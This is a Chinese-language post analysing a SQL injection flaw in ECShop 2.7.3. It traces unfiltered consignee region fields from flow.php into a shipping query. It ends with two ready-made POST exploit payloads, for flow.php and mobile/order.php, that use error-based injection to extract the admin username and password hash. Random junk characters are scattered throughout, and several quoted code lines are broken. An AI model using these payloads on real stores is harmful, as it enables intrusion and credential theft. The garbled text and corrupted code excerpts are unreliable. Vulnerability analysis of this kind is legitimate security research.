ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
2 G' d) E! _2 E# D. |. k
$ G  \! X4 c9 W: u    漏洞关键文件：
3 O' F$ h' Q& e: H3 _
0 z/ G9 V( d4 ?4 L2 I3 ]    /includes/lib_order.php
6 y  u! C: @. X" }: m
, V3 h/ t% o+ b    关键函数：
9 h/ V0 R+ b! H, P+ |  l3 f

: l) _2 \! m! D' P
* i, S6 ~9 B: T( j3 ?% f01     function available_shipping_list($region_id_list)

: {) w; P+ h  u* Z9 W: h9 \02 {

; N( X9 U+ J8 l# i+ N* ^# b03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 v, L, l2 f* Q" f: K
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
! h, E2 @5 I" w
4 m' p7 K5 ?" S0 ^8 ~8 K5 j05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
9 g7 ~) ^3 y# v- v$ V, \. {
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

" Q; P8 C1 [/ l- |* E3 F, C* X07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

' U7 y; j! l) C- W, n08             'WHERE r.region_id ' . db_create_in($region_id_list) .

2 B4 o) {4 g- f, y09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
* J" g8 F+ o& I# j9 m% a/ s7 R
( V5 A& _, S" p+ K  W# c( H10   

* T5 {2 |  {1 M$ e& V5 Q11     return $GLOBALS['db']->getAll($sql);

+ k7 c9 _9 R1 }. v# P12 }

7 R9 m3 y+ E1 a* i显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);
0 c' \- L" F9 C' n* l/ g
. b! V" v: I! R: r
* S+ \( J$ \) x; N) \
6 k( B) i' h0 I) S7 U
1 T$ O' W+ \4 D" C
! P7 _1 ]2 D) u! R8 a1 f; L再对传入变量进行追踪：

0 ]& N+ T" }! f4 h( B& S第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
4 S8 V. h4 o1 P: ?2 d0 B


8 @1 F$ R! C  d" P
" l. R" x4 D+ ^% z
; ]' t; Z+ b/ C第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);

) d: P, G. a6 y到了一个关键函数：

6 j3 I( v1 V5 a) T/includes/lib_order.php
$ |3 o) v7 ?" k! \


  I6 V- J9 |! x  j( [1 C
& o; \/ c2 {6 s1 s# m8 A) x
01 function get_consignee($user_id)
! f, m5 o7 ]  }# A
# d: g1 C9 X  \6 T( h02 {

6 J: c0 q* m2 B5 a03     if (isset($_SESSION['flow_consignee']))
. F. V. o  g: p( P- |5 q/ D
04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */
/ ~; {% P. [8 F! q* D) ~7 J
06   

07         return $_SESSION['flow_consignee'];
( G4 x4 Y$ X* O3 x$ k( x
08     }

09     else
% M( H4 J* Q7 R9 B
10     {

8 M$ i# e$ ~% f2 ~11         /* 如果不存在，则取得用户的默认收货人信息 */
9 _$ r4 M2 R0 d+ l& J
12         $arr = array();
) s) F" C; }& u1 M, F* e
13   
5 g+ e- @+ Q  A& q
3 B6 n  k3 U& y" o0 o, X$ Z14         if ($user_id > 0)
. S8 B1 g! \8 H& y( ?  \
1 F8 d* |9 [6 w" O  U15         {
0 J8 Y$ j1 c! |
16             /* 取默认地址 */
% }2 u1 J) K7 @! L$ Q3 `3 S
17             $sql = "SELECT ua.*".

6 _1 M5 C) O3 Q' @& d8 V$ t0 C18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
9 m% h6 [( l* K7 i; p9 K* w5 R9 f
* O. p; X" c6 M3 Q' c19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
  c) M* S5 z) V. N
1 X$ X" b- d1 t8 ~+ O4 `20   
! E# h+ r5 _  H
9 s3 g9 J  }' a21             $arr = $GLOBALS['db']->getRow($sql);
: Y" E$ D) R9 ~3 d" S  N
; O+ w* K7 [; N, Y2 X/ y  e22         }

/ r2 ]2 c* B% r+ B9 y23   
- v% g4 I/ Z$ `; V( n
* Q* A) ~7 K, w$ j24         return $arr;

25     }
& T) N* G3 o0 D+ [2 o4 h! d% p
26 }

3 c, a: ]- c9 s  F: @显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



! P" O1 j2 H. Q6 M2 U& O$ c# c关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。

9 X2 D' L, H' H$ C/ B- i1 I3 o

然后看下：
+ e- c; n/ U' W- Z
; Z# N# [# W* W( [# Z
; x; P; q( n& S$ \) L
. u8 r! f; [7 k+ F8 b4 ~4 i- J   

4 I, Q. y5 @$ p2 C' E01 $consignee = array(
5 G, \2 Y/ R( }
; {( N9 x+ I* J2 j02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
* E6 {% |  v7 R' x
7 D2 v$ c. A: Z. m8 `04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

5 J+ A6 d. x1 H05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

/ y5 A# W5 K: X' ?06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

/ M$ v' Z, \" V1 [- j07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
/ Z  A/ V1 c& [0 D# h' D4 Z; Q7 I
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
! V4 q+ x, f( D' E8 a) l( I
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
* ?% k+ @4 X" [% t
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
5 l# Y0 z/ E: E5 \( P- q2 ]$ m
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

  r  r% B2 Z0 x! b2 }14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
5 S/ e6 x) H& W) A: r% U
2 j! d; W; w7 j) h2 c15     );
9 A* w' z! w. v4 f2 m1 K
+ ]$ T. ~) t  Q: s, H好了注入就这样出现了。

" S7 H* d8 L6 E==================
5 a* w6 `# W7 b1 \2 |6 v. x
注入测试：
/ T  d6 Q" M4 ?  f. M% u3 m; e5 B  |" d, D
- d7 p3 j7 ]' o8 |: H  R$ J环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 n; _7 P. p/ f, Q
测试程序：ECShop_V2.7.3_UTF8_release1106
1 e# c# E/ D( g# V


1.首先需要点击一个商品加入购物车
1 D0 H8 U" V& C7 G
# ^# m% M+ m/ O2 y  s1 H* }2.注册一个会员帐号

" }" r- m( D6 }/ x& v2 e3.post提交数据
) }, M$ A0 \  p0 |7 d, n


, E/ ~, N5 J2 V% p5 D! C1 http://127.0.0.1/ecshop/flow.php
+ k8 q" p/ B8 T' L
2   
* ^7 U1 w* t. O" }/ }3 a# o
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
4 f8 O5 V- v& y/ w4 \- s: s7 e! r
我们搜寻关键函数function available_shipping_list()

8 _% N( g" _( m0 s4 j, f在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
7 p8 y+ B5 Y% C& z8 o# l7 C' l# N
. H  v5 i/ O. A% W0 ^1.点击一个商品，点击购买商标

2.登录会员帐号

3.post提交：

: n8 ?7 q; U4 g  s/ X$ Hhttp://127.0.0.1/ecshop/mobile/order.php
* x; ?6 [9 O& `5 x1 _* H0 w

; s' {8 W( b6 G0 w2 k$ I: s
# _0 I! c! B+ K- y; scountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

5 q7 T% u2 r7 i/ L: v